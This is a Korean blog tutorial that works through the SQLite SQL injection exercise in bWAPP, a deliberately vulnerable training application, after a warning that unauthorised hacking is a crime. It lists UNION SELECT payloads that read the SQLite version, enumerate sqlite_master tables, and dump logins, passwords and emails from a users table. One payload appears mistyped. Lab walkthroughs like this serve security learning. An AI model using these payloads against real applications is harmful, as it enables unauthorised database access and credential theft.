Code::Security/비박스(BWAPP)

비박스(bWAPP) SQL Injection (SQLite)

태군 코드 2019. 11. 15. 16:05
반응형

이 도구를 이용하여 허용받지 않은 서비스 대상으로 해킹을 시도하는 행위는 범죄 행위 입니다. 해킹을 시도할 때에 발생하는 법적인 책임은 그것을 행한 사용자에게 있다는 것을 명심하시기 바랍니다.

 

A1 - SQL Injection (SQLite)

 

 

SQL Injection은 사용자가 입력한 값을 서버에서 검증하지 않고 데이터베이스 쿼리 일부분으로 인식하여 데이터베이스의 정보가 노출되거나 인증이 우회되는 취약점 입니다. SQL Injection은 사용자가 데이터를 입력할 수 있는 곳 어디에서든 발생할 수 있습니다.

 

SQLite MySQL PostgreSQL와 같은 데이터베이스 관리 시스템이지만, 서버가 아니라 응용 프로그램에 넣어 사용하는 비교적 가벼운 데이터베이스입니다. 일반적인 RDBMS에 비해 대규모 작업에는 적합하지 않지만, 중소 규모라면 속도에 손색이 없다. 또 API는 단순히 라이브러리를 호출하는 것만 있으며, 데이터를 저장하는 데 하나의 파일만을 사용하는 것이 특징이다. 버전 3.3.8에서는 풀텍스트 검색 기능을 가진 FTS1 모듈이 지원된다. 컬럼을 삭제하거나 변경하는 것 등이 제한된다.

구글 안드로이드 운영 체제에 기본 탑재된 데이터베이스이기도 하다.

 

https://ko.wikipedia.org/wiki/SQLite

 

BWAPP(비박스) SQL Injection (SQLite) 취약점 진단 페이지의 화면 입니다. 해당 페이지에서도 작은따옴표(')를 이용하여 에러 메시지를 출력하는지 확인을 해보도록 하겠습니다.

 

작은따옴표(')를 입력하였더니 에러메시지가 출력되는것을 확인 할수 있습니다. Error: HY000 해당 에러 메시지는 DB서버에 연결할수 없을때 나타나는 에러입니다.

 

쿼리문을 이용하여 정보를 출력하였습니다. SQLite에서는 --를 이용하여 주석처리를 한다는것을 알아두시기 바랍니다.

 

 

union select 문을 이용하여 컬럼갯수를 확인하였습니다. 테스트를 하실때에는 그대로 하시지 마시고 [ union select all 1-- ] 부터 컬럼의 갯수를 늘려가면서 어떻게 변화하는지 직접 해보시기를 추천드립니다. 여기서는 컬럼 번호 2, 3, 4, 5를 확인할수 있습니다.

 

쿼리 문을 이용하여 SQLite 버전 정보를 출력하였습니다. 여기서는 2번 컬럼에 SQLite 버전정보를 출력하도록 하였기때문에 Title 부분에 버전정보가 표시되고 있습니다. 3번 컬럼 4번 컬럼 5번 컬럼 각각 테스트를 해보시고 위치에 맞게 버전 정보가 출력이 되는지 확인해 보시면 좋을것 같습니다.

 

SQLite 버전정보 출력 (sqlite_version())

'union select all 1, sqlite_version(),3,4,5,6 --

 

sqlite_master(information_schema)를 뜻하며, 저는 컬럼 번호에 쿼리를 날리도록 하겠습니다. 저처럼 안하시고 변형을 하셔도 되십니다.

SQLite 데이터베이스의 오브젝트 출력 (name)

' union select all 1, sqlite_version(), name,4,5,6 from sqlite_master -- 

 

SQLite 데이터베이스 개체가 연결된 테이블 이름확인 (tbl_name)

' union select all 1, sqlite_version(), name, 4, tbl_name, 6 from sqlite_master--

 

users 테이블의 필드내용 확인

' union select all 1, sqlite_version(), name, sqltbl_name, 6 from sqlite_master where tbl_name='users'--

이제 출력할 정보를 다 알았으니 id, login, password, email을 다 출력을 해보도록 하겠습니다.

 

 

users 테이블의 내용 확인

' union select all 1, id, login, password, email, 6 from users --
정상적으로 출력을 하는것을 확인할수 있습니다.

반응형